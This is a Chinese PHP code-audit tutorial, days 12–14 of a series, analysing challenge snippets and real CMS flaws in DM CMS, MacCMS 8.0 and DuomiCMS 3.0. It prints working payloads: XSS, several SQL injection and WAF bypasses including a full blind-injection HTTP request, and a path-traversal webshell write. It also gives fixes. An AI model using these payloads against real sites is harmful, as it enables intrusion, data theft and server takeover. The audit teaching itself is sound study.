【代码审计】PHP代码审计4

Day 12 - String Lights

1
2
3
4
5
6
7
8
9
10
11
12
13
$sanitized = [];

foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" . htmlentities($query) . "'>link</a>";

漏洞解析
根据题目意思,这里考察的应该是个 xss漏洞 , 漏洞触发点应该在代码中的 第13-14行 。这两行代码的作用是直接输出一个html的 <a> 标签。代码中的 第3-5行foreach循环$_GET 传入的参数进行了处理,但是这里有个问题。我们看下 第四行 的代码,这行代码针对 $value 进行类型转换,强制变成int类型。但是这部分代码只处理了 $value 变量,没针对 $key 变量进行处理。经过了 第3-5行 的代码处理之后,根据 & 这个符号进行分割,然后拼接到 第13行echo 语句中,在输出的时候又进行了一次 htmlentities 函数处理。 htmlentities 函数主要是会对一些特殊符号进行HTML实体编码。具体定义如下:

htmlentities — 将字符转换为 HTML 转义字符

1
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

作用:在写PHP代码时,不能在字符串中直接写实体字符,PHP提供了一个将HTML特殊字符转换成实体字符的函数 htmlentities()。

注:htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:

  • ENT_COMPAT(默认值):只转换双引号。
  • ENT_QUOTES:两种引号都转换。
  • ENT_NOQUOTES:两种引号都不转换。

这里附上一个 HTML 中有用的字符实体表

经过上面的分析,我们再回到题目,想想如何构造一下攻击 payload 。我们先梳理一些已知信息:

  • 这里的 $query 参数可控
  • htmlentities 函数在这里可逃逸单引号
  • xss的漏洞触发点在 <a> 标签。

<a> 中,我们可以通过 javascript 事件来执行js代码,例如: onclick 这类事件,因此最后的poc构造如下:

1
/?a'onclick%3dalert(1)%2f%2f=c

实例分析

本次实例分析选择 DM企业建站系统 v201710 中的 sql注入漏洞 来进行分析。首先,我们可以从cnvd上面看到一些相关信息,如下:

从漏洞通告中可以发现一些有用的信息,漏洞位置在登陆处,搭建的时候提示后台登陆口位置在 admindm-yourname/g.php 文件中,打开这个文件,发现重定向到 admindm-yournamemod_common/login.php 文件中,所以漏洞触发点应该就在这个文件中。

打开 admindm-yournamemod_common/login.php 这个文件,一眼就看到漏洞位置,截取部分相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($act=='login'){

$user= htmlentitiesdm(trim($_POST['user']));
$ps= htmlentitiesdm(trim($_POST['password']));

if(strlen($user)<2 or strlen($ps)<2){
alert('字符不够 sorry,user need more long'); jump($jumpv);
}

require_once WEB_ROOT.'component/dm-config/mysql.php';
// $salt = '00'; is in config.php
$pscrypt= crypt($ps, $salt);
//echo $pscrypt;
$ss_P="select * from ".TABLE_USER." where email='$user' and ps='$pscrypt' order by id desc limit 1";
// echo $ss_P;exit;
if(getnum($ss_P)>0){
$row=getrow($ss_P);
$userid=$row['id'];
}
}

第15行 很明显存在sql注入漏洞,通过拼接的方式直接插入到select语句中。 第15行 中的 $user 变量是通过 POST 方式提交上来,其值可控。但是上图的 第3行 代码调用 htmlentitiesdm 函数,对 POST 数据进行了处理,我们跟进这个 htmlentitiesdm 函数。该函数位置在 component/dm-config/global.common.php 文件中,截取关键代码如下:

1
2
3
function htmlentitiesdm($v){
return htmlentities(trim($v),ENT_NOQUOTES,"utf-8");
}

这个函数是调用 htmlentities 函数针对输入的数据进行处理。前面我们已经介绍过了这个函数的用法,这里这个函数的可选参数是 ENT_NOQUOTES ,也就是说两种引号都不转换。下面我们来看个小例子:

这里我猜测开发者应该是考虑到了xss的问题,但是由于 htmlentities 这个函数选择的参数出现了偏差,导致这里我们可以引入单引号造成注入的问题。

我们看看最新版是怎么修复,使用 beyond compare 对比两个版本代码的差别。

新版修复的时候将可选参数修改为 ENT_QUOTES ,这个参数的作用就是过滤单引号加双引号,我们来看看下面这个例子,就很容易明白了这个参数的作用了。

漏洞验证

这里因为没有回显,所以是盲注,下面是验证截图:

漏洞修复

针对 htmlentities 这个函数,我们建议大家在使用的时候,尽量加上可选参数,并且选择 ENT_QUOTES 参数。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
require 'db.inc.php';

if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}

if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);


$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

#echo $query;

$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}

?>
1
2
3
4
5
6
7
<?php
$mysql_server_name="localhost";
$mysql_database="Day12"; /** 数据库的名称 */
$mysql_username="Hongri"; /** MySQL数据库用户名 */
$mysql_password="Hongri"; /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>

从代码 第27行 很明显,这道题考查sql注入,但是这里有两个考察点,我们分别来看一下。

第一部分

第23行第24行 针对 GET 方式获取到的 usernamepassword 进行了处理,处理函数为 clean 。该函数在 第16-20行 处定义,函数的主要功能就是使用 htmlentities 函数处理变量中带有的特殊字符,而这里加入了 htmlentities 函数的可选参数 ENT_QUOTES ,因此这里会对 单引号双引号 等特殊字符进行转义处理。由于这里的注入是字符型的,需要闭合单引号或者逃逸单引号,因此这里需要绕过这个函数。我们可以通过下面这个例子观察 clean 函数的处理效果:

题目 第36行 是进入数据库查询,并且返回 name 列字段的值。而这里的sql语句是这样的:

1
2
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' 
AND pass=\''.$password.'\';';

那我们如果输入的 usernameadminpasswordadmin ,自然就构成了正常要执行的sql语句。

这道题的问题就在于可以引入反斜杠,也就是转义符,官方针对 转义符 是这么解释的。

比如,如果你希望匹配一个 “*” 字符,就需要在模式中写为 \*。 这适用于一个字符在不进行转义会有特殊含义的情况下。

这里我们看个简单的例子理解一下这个转义符号。

转义符号会让当前的特殊符号失去它的作用,这道题由于可以引入反斜杠,也就是转义符号,来让

1
2
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' 
AND pass=\''.$password.'\';';

username后面的 失效,只要这个 失效,就能闭合**pass=**后面的 **’**。最后组合的payload就如下图所示

所以实际上目前 name 的值是 admin\‘ AND pass= ,这时候 password 的值是一个可控的输入点,我们可以通过这个值来构造 sql联合查询 ,并且注释掉最后的 单引号

第一部分我们其实已经成功构造好了payload,但是回头来看看题目,题目 第6行第16行 有两个正则表达式,作用就是如果参数中带有 or、and 、union 等数据,就退出,并输出 Attack detected!!!

这里当然我们可以正面硬刚这个正则表达式。但是这里我们来聊一个比较有趣的解法。

我们看到是通过 request 方式传入数据,而php中 REQUEST 变量默认情况下包含了 GETPOSTCOOKIE 的数组。在 php.ini 配置文件中,有一个参数 variables_order ,这参数有以下可选项目

1
2
3
4
; variables_order
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS"

这些字母分别对应的是 E: EnvironmentG:GetP:PostC:CookieS:Server。这些字母的出现顺序,表明了数据的加载顺序。而 php.ini 中这个参数默认的配置是 GPCS ,也就是说如果以 POSTGET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值。
我们举个简单的例子方便大家理解:

我们可以看到这里的 post 方式传入的数据覆盖了 get 方式传入的数据,因此这里最后的payload如下:

参考文章
Code-Audit-Challenges

Day 13 - Turkey Baster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class LoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}

这是一道典型的用户登录程序,从代码来看,考察的应该是通过 SQL注入 绕过登陆验证。代码 第33行 ,通过 POST 方式传入 userpasswd 两个参数,通过 isValid() 来判断登陆是否合法。我们跟进一下 isValid() 这个函数,该函数主要功能代码在 第12行-第22行 ,我们看到 13行14行 调用 sanitizeInput() 针对 userpassword 进行相关处理。

跟进一下 sanitizeInput() ,主要功能代码在 第24行-第29行 ,这里针对输入的数据调用 addslashes 函数进行处理,然后再针对处理后的内容进行长度的判断,如果长度大于20,就只截取前20个字符。 addslashes 函数定义如下:

addslashes — 使用反斜线引用字符串

1
string addslashes ( string $str )

作用:在单引号(’)、双引号(”)、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线。

我们来看个例子:

那这题已经过滤了单引号,正常情况下是没有注入了,那为什么还能导致注入了,原因实际上出在了 substr 函数,我们先看这个函数的定义:

substr — 返回字符串的子串

1
string substr ( string $string , int $start [, int $length ] )

作用:返回字符串 stringstartlength 参数指定的子字符串。

我们来看个例子:

那么再回到这里,我们知道反斜杠可以取消特殊字符的用法,而注入想要通过单引号闭合,在这道题里势必会引入反斜杠。所以我们能否在反斜杠与单引号之间截断掉,只留一个反斜杠呢?答案是可以,我们看个以下这个例子。

在这个例子中,我们直接使用题目代码中的过滤代码,并且成功在反斜杠和单引号之间截断了,那我们把这个payload带入到题目代码中,拼接一下 第17行-第19行 代码中的sql语句。

1
select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'

这里的sql语句由于反斜杠的原因, user = ‘1234567890123456789\‘ 最后这个单引号便失去了它的作用。这里我们让 pass=or 1=1# ,那么最后的sql语句如下:

1
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'

这时候在此SQL语句中, user 值为 1234567890123456789\‘ AND password = ,因此我们可以保证带入数据库执行的结果为 True ,然后就能够顺利地通过验证。

所以这题最后的 payload 如下所示:

1
user=1234567890123456789'&passwd=or 1=1#

实例分析

这里的实例分析,我们选择 苹果CMS视频分享程序 8.0 进行相关漏洞分析。漏洞的位置是在 inc\common\template.php ,我们先看看相关代码:

1
2
3
if (!empty($lp['wd'])) {
$where .= ' AND ( instr(a_name,\''.$lp['wd'].'\')>0 or instr(a_subname,\''.$lp['wd'].'\')>0 ) ';
}

这里代码的 第三行-第四行 位置, $lp[‘wd’] 变量位置存在字符串拼接,很明显存在 sql注入 ,但是这个cms具有一些通用的注入防护,所以我们从头开始一步步的看。

首先在 inc\module\vod.php 文件中的,我们看到 第一行 代码当 $method=search 成立的时候,进入了 第3行 中的 be(“all”, “wd”) 获取请求中 wd 参数的值,并且使用 chkSql() 函数针对 wd 参数的值进行处理。部分关键代码如下所示:

1
2
3
4
5
6
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd")); $wd = chkSql($wd);
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
}

跟进一下 be() 函数,其位置在 inc\common\function.php 文件中,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key] :addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key] :addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq? $_REQUEST[$key] : addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}

这部分代码的作用就是对 GET,POST,REQUEST 接收到的参数进行 addslashes 的转义处理。根据前面针对 be(“all”, “wd”) 的分析,我们知道 wd 参数的值是通过 REQUEST 方式接收,并使用 addslashes 函数进行转义处理。再回到 inc\module\vod.php 文件中的,我们跟进一下 chkSql() 函数,该函数位置在 inc\common\360_safe3.php 文件中,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function chkSql($s)
{
global $getfilter;
if(empty($s)){
return "";
}
$d=$s;
while(true){
$s = urldecode($d);
if($s==$d){
break;
}
$d = $s;
}
StopAttack(1,$s,$getfilter);
return htmlEncode($s);
}

分析一下这部分代码的作用,其实就是在 第8行-第12行 针对接收到的的变量进行循环的 urldecode (也就是url解码)动作,然后在 第15行 ,使用 StopAttack 函数解码后的数据进行处理,最后将处理后的数据通过 htmlEncode 方法进行最后的处理,然后返回处理之后的值。

我们先跟进一下 StopAttack 函数,该函数位置在 inc\common\360_safe3.php 文件中,我们截取部分相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{
$errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
$StrFiltValue=arr_foreach($StrFiltValue);
$StrFiltValue=urldecode($StrFiltValue);

if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
print $errmsg;
exit();
}
if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
print $errmsg;
exit();
}
}

我们看到代码的 第13行-第19行 调用正则进行处理,而相关的正则表达式是 $ArrFiltReq 变量。这里 第13行$ArrFiltReq 变量就是前面传入的 $getfilter ,即语句变成:

1
preg_match("/".$getfilter."/is",1)

我们跟进一下 $getfilter 变量。该变量在 inc\common\360_safe3.php 文件中,我们截取部分相关代码如下:

1
2
3
4
5
6
7
8
//get拦截规则
$getfilter = "\\<.+javascript:window\\[\\].*\\>|<.*(&#\\d+;)+?>|<.*(data|src)=data:text\\/html.*?>|\\b(alert\\|confirm\\|expression\\|prompt\\|benchmark.*?|sleep.*?|group_concat\\).*?\\b(load_file|benchmark|[a-z]{4,})\\b|\\bon\\w+=[^>]+\\>|SELECT\\s+(.*.)+\\b\\@{1,2}\\s+.*|SET\\s+.*\\b;";

//post拦截规则
$postfilter = "<.*=&(#\\d+;)?>.*(alert\\|confirm\\|expression\\|prompt\\|benchmark.*?|sleep.*?|group_concat\\).*?\\b(load_file|benchmark)\\b|\\bon\\w+=[^>]+\\>|\\bEXEC\\b|UNION\\s+SELECT.*|INSERT\\s+INTO.*VALUES\\s*(\\(.*)";

//cookie拦截规则
$cookiefilter = "benchmark.*?|\\b(load_file|exec|SELECT|INSERT|DELETE|CREATE|ALTER|DROP|TRUNCATE|\\@\\@)\\b.*?VALUES\\(.*|SET\\s+.*";

这串代码的功能显而易见,就是检测 GET,POST,COOKIE 中的恶意数据。刚刚在 chkSql() 函数最后有串代码是: return htmlEncode($s); ,我们跟进一下 htmlEncode 函数。该函数位置在 inc\common\function.php 文件中,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function htmlEncode($str)
{
if (!isN($str)){
$str = str_replace(chr(38), "&#38;", $str);
$str = str_replace(">", "&gt;", $str);
$str = str_replace("<", "&lt;", $str);
$str = str_replace(chr(39), "&#39;", $str);
$str = str_replace(chr(32), "&nbsp;", $str);
$str = str_replace(chr(34), "&quot;", $str);
$str = str_replace(chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;", $str);
$str = str_replace(chr(13), "<br />", $str);
$str = str_replace(chr(10), "<br />", $str);
}
return $str;
}

这段代码的功能是针对 &空格TAB回车换行大于小于号 等符号进行实体编码转换。但是这里百密一疏,没有针对其他的空白字符和反斜杠进行处理。这里先埋下一个伏笔,我们继续往下看。

首先注入点是在 inc\common\template.php ,相关代码如下:

1
2
3
if (!empty($lp['wd'])){
$where .= ' AND ( instr(a_name,\''.$lp['wd'].'\')>0 or instr(a_subname,\''.$lp['wd'].'\')>0 ) ';
}

我们继续看看这个 $lp[‘wd’] 的值是怎么获取的,在 inc\common\template.php 文件中找到其相关代码:

1
2
3
4
5
6
7
8
case 'vod':
// ...
if(!empty($this->P["order"])) { $lp['order'] = $this->P["order"]; $this->P["auto"] = true; }
if(!empty($this->P["by"])) { $lp['by'] = $this->P["by"]; $this->P["auto"] = true; }
if(!empty($lp['pagesize'])){ /* ... */ }

if(!empty($this->P["wd"])) { $lp['wd'] = $this->P["wd"]; $this->P["auto"] = true; }
// ...

上图 第13行 ,当 P[‘wd’] 不为空的时候, $lp[‘wd’] 是从 P[“wd”] 中获取到数据的。根据前面我们的分析,在 inc\module\vod.php 文件中的存在这样一行代码: $tpl->P[“wd”] = $wd;

1
2
3
4
5
6
7
8
9
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd"));
$wd = chkSql($wd);
if (!empty($wd)) {
$tpl->P["wd"] = $wd;
}
}

wd 是可以从 REQUEST 中获取到,所以这里的 wd 实际上是可控的。

漏洞验证

现在我们需要针对漏洞进行验证工作,这就涉及到POC的构造。在前面分析中,我们知道 htmlEncode 针对 &空格TAB回车换行大于小于号 进行实体编码转换。但是这里的注入类型是字符型注入,需要引入单引号来进行闭合,但是 htmlEncode 函数又对单引号进行了处理。因此我们可以换个思路。

我们看到注入攻击的时候,我们的 $lp[‘wd’] 参数可以控制SQL语句中的两个位置,因此这里我们可以通过引入 反斜杠 进行单引号的闭合,但是针对前面的分析我们知道其调用了 addslashes 函数进行转义处理,而 addslashes 会对 反斜杠 进行处理,但是这里对用户请求的参数又会先进行 url解码 的操作,因此这里可以使用 双url编码 绕过 addslashes 函数。

1
2
3
if (!empty($lp['wd'])) {
$where .= ' AND ( instr(a_name,\'' . $lp['wd'] . '\')>0 or instr(a_subname,\'' . $lp['wd'] . '\')>0 ) ';
}
1
2
3
4
5
6
7
8
9
10
11
12
POST /maccms8/index.php?m=vod-search HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Connection: keep-alive
Upgrade-Insecure-Requests: 1

wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63

payload传到程序里,经过拼接后的数据库语句如下所示:

漏洞修复

核心问题点

  1. 用户输入未经充分验证与过滤

    • 问题的核心在于用户输入(通过$lp['wd'])被直接用于SQL查询构建,而没有进行严格的检查和限制。
    • 尽管输入经过了chkSql()的初步处理,包括URL解码和StopAttack()的安全过滤,但这些措施未能完全避免SQL注入的风险。
  2. 使用addslashes()的不足

    • be()函数使用addslashes()来转义输入数据。但addslashes()对于单字节字符集环境可能足够,对于多字节字符集如UTF-8,这种转义方法可能被绕过。
    • 在某些特定情况下,双重URL编码可以绕过addslashes()的转义,导致注入攻击的可能。
  3. 不恰当的SQL查询构建方式

    • SQL查询通过字符串拼接构建,其中直接插入了用户控制的变量$lp['wd']。这种方式在没有严格的输入验证和适当的转义机制的情况下,极易导致SQL注入。
  4. 安全函数htmlEncode()的不足

    • 该函数主要对HTML特殊字符进行编码,但在阻止SQL注入方面作用有限。
    • SQL注入需要针对SQL语法特征进行专门的处理,而非仅仅是HTML编码。

这里的防御手段其实已经很多了,但就是因为这么多防御手段结合在一起出现了有趣的绕过方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function htmlEncode($str)
{
if (!isN($str)){
$str = str_replace(chr(38), "&#38;",$str);
$str = str_replace(">", "&gt;",$str);
$str = str_replace("<", "&lt;",$str);
$str = str_replace(chr(39), "&#39;",$str);
$str = str_replace(chr(32), "&nbsp;",$str);
$str = str_replace(chr(34), "&quot;",$str);
$str = str_replace(chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;",$str);
$str = str_replace(chr(13), "<br />",$str);
$str = str_replace(chr(10), "<br />",$str);
$str = str_replace(chr(92), "<br />",$str); //新增修复代码
}
return $str;
}

反斜杠的ascii码是92,这里新增一行代码处理反斜杠。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//index.php
<?php
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
if (strpos($string, '&amp;#') !== false) {
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
  • 对于传入的非法的 $_GET 数组参数名,PHP会将他们替换成 下划线 。经过fuzz,有以下这些字符:

  • 当我们使用HPP(HTTP参数污染)传入多个相同参数给服务器时,PHP只会接收到后者的值。(这一特性和中间件有关系)

  • 通过 $_SERVER[‘REQUEST_URI’] 方式获得的参数,并不会对参数中的某些特殊字符进行替换。

这里的代码中有两个waf。

第一个WAF在代码 第29行-第30行 ,这里面采用了 dowith_sql() 函数,跟进一下 dowith_sql() 函数,该函数主要功能代码在 第19-第26行 ,如果 $_REQUEST 数组中的数据存在 select|insert|update|delete 等敏感关键字或者是字符,则直接 exit() 。如果不存在,则原字符串返回。

而第二个WAF在代码 第33行-第39行 ,这部分代码通过 $_SERVER[‘REQUEST_URI’] 的方式获取参数,然后使用 explode 函数针对 & 进行分割,获取到每个参数的参数名和参数值。然后针对每个参数值调用 dhtmlspecialchars() 函数进行过滤。

跟进一下 dhtmlspecialchars() 函数,发现其相关功能代码在 第3行-第14行 ,这个函数主要功能是针对 ‘&’, ‘“‘, ‘<’, ‘>’, ‘(‘, ‘)’ 等特殊字符进行过滤替换,最后返回替换后的内容。从 第44行和第45行 的代码中,我们可以看到这题的参数都是通过 REQUEST 方式获取。我们可以先来看个例子:

第一次 $_REQUEST 仅仅只会输出 i_d=2 的原因是因为php自动将 i.d 替换成了 i_d 。而根据我们前面说的第二个特性,PHP取最后一个参数对应的值,因此第一次 $_REQUEST 输出的是2。

第二次 $_REQUEST 会输出 i_d=select&i.d=2 是因为 $_SERVER[‘REQUEST_URI’] 并不会对特殊的符号进行替换,因此结果会原封不动的输出。所以这题的payload可以根据下面这个思维导图进行构造:

  • 我们通过页面请求 i_d=padyload&i.d=123
  • 当数据流到达第一个WAF时,php会将参数中的某些特殊符号替换为下划线。因此便得到了两个 i_d ,所以此时的payload变成了 i_d=payload&i_d=123
  • 前面我们介绍了,如果参数相同的情况下,默认 第二个参数传入的值 会覆盖 第一个参数传入的值 。因此此时在第一个WAF中 i_d=123 ,不存在其他特殊的字符,因此绕过了第一个WAF。
  • 当数据流到达进入到第二个WAF时,由于代码是通过 $_SERVER[‘REQUEST_URI’] 取参数,而我们前面开头的第三个知识点已经介绍过了 $_SERVER[‘REQUEST_URI’] 是不会将参数中的特殊符号进行转换,因此这里的 i.d 参数并不会被替换为 i_d ,所以此时正常来说 i.di_d 都能经过第二个WAF。
  • 第二个WAF中有一个 dhtmlspecialchars() 函数,这里需要绕过它,其实很好绕过。绕过之后 i_d=payload&i.d=123 便会进入到业务层代码中,执行SQL语句,由于这里的SQL语句采用拼接的方式,因此存在SQL注入。

因此最后payload如下:

1
http://127.0.0.1/index.php?submit=&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123

参考文章
PHP的两个特性导致waf绕过注入
request导致的安全性问题分析

Day 14 - Snowman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;

public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}

public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}

$carrot = new Carrot($_GET);

漏洞解析

这道题目讲的是一个 变量覆盖路径穿越 问题。在 第10-11行 处, Carrot 类的构造方法将超全局数组 $_GET 进行变量注册,这样即可覆盖 第8行 已定义的 $this-> 变量。而在 第16行 处的析构函数中, file_put_contents 函数的第一个参数又是由 $this-> 变量拼接的,这就导致我们可以控制写入文件的位置,最终造成任意文件写入问题。下面我们试着使用 payloadid=../var/www/html/shell.php&shell=’,)%0a// 写入 webshell

实例分析

本次实例分析,我们选取的是 DuomiCMS_3.0 最新版。该CMS存在全局变量注册问题,如果程序编写不当,会导致变量覆盖,本次我们便来分析 由变量覆盖导致的getshell 问题。

首先我们先来看一下该CMS中的全局变量注册代码,该代码位于 duomiphp/common.php 文件中,如下:

1
2
3
4
foreach(Array('_GET', '_POST', '_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if(is_array($svar))
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

其中 _RunMagicQuotes 函数将特殊符号,使用 addslashes 函数进行转义处理。我们来搜索 fwrite 函数,看看是否存在可利用的写文件程序(为了写 shell )。phpstorm 程序搜索结果如下:

我们可以看到有一个 admin\admin_ping.php 文件中,存在可利用的地方,因为其写入的目标文件为 PHP 程序,且写入内容中存在两个可控变量。其代码具体如下:

$weburl 变量和 $token 变量从 POST方式 获取,其变量也只是经过 _RunMagicQuotes 函数过滤处理,以及 duomiphp\webscan.php 文件的过滤规则,但是并不影响我们写shell。过滤规则具体如下:

1
2
3
4
5
$getfilter = "\\k.+javascript:window\\[.*\\]|<.*(&#\\d+;)+?>|<.*(data|src)=data:text\\html.*?>|\\b(alert\\|confirm\\|expression\\|prompt\\|benchmark.*|sleep.*|group.*)\\b(load_file|benchmark|[a-z]{4,})\\b|\\bon\\w+=[^>]+\\>|SELECT\\s+(.*.)+\\b@{1,2}\\s+.*|SET\\s+.*\\b;";

$postfilter = "<.*=&(#\\d+;)+?>.*\\b(alert\\|confirm\\|expression\\|prompt\\|benchmark.*|sleep.*|group.*)\\b(load_file|benchmark)\\b|\\bon\\w+=[^>]+\\>|\\bEXEC\\b|UNION\\s+SELECT.*|INSERT\\s+INTO.*VALUES\\s*(\\(.*)";

$cookiefilter = "benchmark.*|\\b(load_file|exec|SELECT|INSERT|DELETE|CREATE|ALTER|DROP|TRUNCATE|\\@@)\\b.*?VALUES\\(.*|SET\\s+.*";

然而要想利用这个文件,我们就必须是 admin 身份,不然没有权限访问该文件。所以我们看看该CMS是如何对用户身份进行认定的,是否可以利用之前的变量覆盖来伪造身份呢?

跟进 admin\admin_ping.php 文件开头包含的 admin\config.php 文件,那么我们要关注的是如下代码:

1
2
3
4
5
6
7
8
require_once(duomi_INC . "/check.admin.php");

$cuserLogin = new userLogin();
if($cuserLogin->getUserID() === -1)
{
header("Location: login.php?gotoPage=" . urlencode($EkNowurl));
exit();
}

我们需要知道程序是如何对用户的身份进行处理的,跟进 duomiphp\check.admin.php 文件,关注如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class userLogin
{
var $userName = '';
var $userPwd = '';
var $userID = '';
var $adminDir = '';
var $groupid = '';
